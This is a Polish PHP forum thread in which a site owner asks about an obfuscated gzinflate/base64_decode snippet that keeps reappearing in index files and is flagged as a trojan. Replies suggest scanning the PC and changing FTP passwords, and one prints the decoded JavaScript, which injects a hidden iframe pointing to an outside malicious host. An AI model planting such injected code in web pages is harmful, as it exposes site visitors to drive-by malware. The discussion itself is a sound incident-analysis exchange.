Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: gzinflate, base64_decode - trojan
Forum PHP.pl > Forum > PHP
Athread
W plikach index pojawiło mi się takie coś

  1. #c54471#
  2. echo(gzinflate(base64_decode("zVZLc5swEP4rLRcgTAgSSMAQ9dDHIeceMzk4BmIyCbZBqcf2hN9erSRk7NgOzXSmnTEyWu3ut29
    03U6basG/5Oz7hBdZzupi9Sl33GzGLheTpi1uau7YAcK2e0WyqnRWVZ3PV34+n748FzV3ebPeShlN8B8K/uOpgNev65vcsZarwnL9RTPnc75eFK/TCZ/OnOVy6W5bzn7ypqofss2G2ZMnW/7/sr3NJmtbZlkAiNxtyezS9uxGPHPxPIvn20wsk8bOSlaKHZzkYins7LVgfFa1t6Xfvty3vHEQcoXCu4wz
    ey2Oa2aFPungIQiWoEOkQ2kXpR2JBCFKgBrDAkxRCm+RoHQYC25DirtQKgn1/oCZUEAREkCKUBdJjSAeJnpjJAQ6SiS0NiFVYpKIpAIgYwFFegoFVUR7cugRoYcQggIo8IqTA0kKUqhnD
    JXpyrATOONilShcZVS8c5V2OD1jKiLKAjgBFdiEgiAZWfEDLwQGnOKdHuWoYQQrqWTRaJHmNhvtQNATQ3
    jDsQk90U4g7XMMmnf24FBlxTAjbQPaaZXBOC1BVWxIOiilgcOJ1kWNFT0lNHElKqkSSxsqf9pJqYeofO3
    0SFf8ngxsKg2gnxp6qJOrk6d09QUfSNcScEcdxFqKDKnSjzCAlA+CfyzvggnRcyU6JEh0ZXqUHPEHjWyG
    423UdyiVeuSEwGnfJCNKP9KlL6nRMIRnZ0Y/B870hpkIKkSBLG46HEp9dmPTe5DT+KAHE/+gy1R5on/UaMc8etMW+E/6YW9ovG0L5e4IxPc7xyC930CjUfd7bDA+xqsYdOO78h8pnreDca+E9ifd36rYEwN2FPKHvmH/w/ce2ifWU3yHKYRCPKhvaRiohnl1cohafrt4qrhjTTrL3JBcNyvnjVOxIKs+M0LDrPI8d/vIKriHta3X8tvyzrmcXTj4Ennoor59vBNCr/J+thQccFPbbNzCsSxv6WbXV/pe+Rs="
    )));
  3. #/c54471#


przy wchodzeniu na stronę wyskakuje, że jest trojan. Jak sobie z tym poradzić ? Po usunięciu ręcznie pojawia się znowu.
Nie wiedziałem dokładnie w który dział wrzucić.
toffiak
Na początek przeskanuj komputer i zmień dane do ftp
redeemer
Dla ciekawości tak wygląda zdekodowany:
  1. if (document.getElementsByTagName('body')[0])
  2. {
  3. iframer();
  4. } else {
  5. document.write("<iframe src='http://freshtds.in/in.cgi?9' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
  6. }
  7.  
  8. function iframer(){
  9. var f = document.createElement('iframe');
  10. f.setAttribute('src','http://freshtds.in/in.cgi?9');
  11. f.style.visibility='hidden';
  12. f.style.position='absolute';
  13. f.style.left='0';
  14. f.style.top='0';
  15. f.setAttribute('width','10');
  16. f.setAttribute('height','10');
  17. document.getElementsByTagName('body')[0].appendChild(f);
  18. }
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.